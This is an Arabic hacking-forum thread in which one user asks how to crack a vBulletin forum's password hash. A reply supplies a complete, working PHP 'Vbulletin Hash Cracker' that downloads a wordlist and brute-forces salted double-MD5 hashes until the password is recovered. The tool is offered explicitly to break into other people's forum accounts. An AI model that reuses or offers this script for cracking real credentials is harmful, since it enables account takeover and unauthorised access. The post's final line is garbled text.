| |  | المشاركة الأصلية كتبت بواسطة hank00sh |  | | | | | | | شكراً على تفاعلك اخوي Cyber Mafia بس والله مستغرب يعني الوحيد ما يقدر الواحد يهكره مره بالمره
وانت من خلال ما قلتلي انو ما فيه حتى لو فيه ثغره صعب تخترقه ولا فيه اي طريقه
اتذكر زمان نزلت ثغره في ملف التعليمات الي تطلع الديدا بيس وسويتها مره بس الكلام هذا زمان ونفعت معايا ما همني انا ابي حل كيف افك الهاش حقه لازم يكون فيه طريقه لانو كل شي يعتمد على البرمجه لو احد شاطر فيها خلاص كل شي متيسر وتحياتي لك | |  | |  | |
كود PHP:
<?php
set_time_limit(0);
error_reporting(0);
$name = $_SERVER['PHP_SELF'];
$go = true;
echo "
_____ _ _ _____ _____ _______
/ ___| | | | | / _ \ / ___/|__ __|
| | _ | |__| | | | | | | |___ | |
| | | | | __ | | | | | \___ \ | |
| |_| | | | | | | |_| | ___| | | |
\_____/ |_| |_| \_____/ /_____/ |_|
____ _ _____ _____ _____ ___ ___
| _ \ | | / _ \ / _ \ | _ \ \ \ / /
| |_) | | | | | | | | | | | | | | \ \ \/ /
| _ ( | | | | | | | | | | | | | | \ /
| |_) | | |___ | |_| | | |_| | | |_| / | |
|____/ |_____| \_____/ \_____/ |_____/ |__|[*]-----------------------------------------------------------------------[*]
[+] Script Name : Vbulletin Hash Cracker
[+] Version : 1.0
[+] Programed By : G-B
[+] Email : [email=g22b@hotmail.com]g22b@hotmail.com[/email]
[+] Use : php $name[*]-----------------------------------------------------------------------[*]
";
while($go){
$b = true;
$c = true;
$d = true;
$k = false;
while($b){
echo "[+] Hash -> ";
$hash = trim(stdin());
if(strlen($hash) < 30){
echo "[*] This Is Not MD5. Try Again.\n";
}else{
$b = false;
}
}
while($c){
echo "[+] Salt -> ";
$salt = trim(stdin());
if(strlen($hash) < 3){
echo "[*] This Is Not Salt. Try Again.\n";
}else{
$c = false;
}
}
while($d){
echo "[+] Wordlist Link -> ";
$list = trim(stdin());
if(!file_get_contents($list)){
echo "[*] Can't Open Wordlist. Try Again.\n";
}else{
$d = false;
}
}
echo "\n\n";
echo "[*]------------------------------Start------------------------------------[*]\n\n";
$wordlist = file_get_contents($list);
$words = explode("\n",$wordlist);
foreach($words as $pass){
$pass = trim($pass);
$md5 = md5(md5($pass).$salt);
echo "[*] Try $pass \n";
if($md5 == $hash){
echo "\n\n[*] Password Cracked : $pass";
$k = true;
break;
}
}
if(!$k){
echo "\n\n[*] Can't Found Password In Wordlist.";
}
echo "\n\n[+] Crack Another Hash ? (Y) or (N) -> ";
$try = stdin();
if($try == 'N' || $try == 'n'){
$go = false;
}
}
echo "[*] See U Later G-B.";
#==============================================
function stdin(){
$fp = fopen("php://stdin","r");
$line = trim(fgets($fp));
fclose($fp);
return $line;
}
#===========================================
?>
Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC v]: afhf hsjtshv fow,w iha vBulletin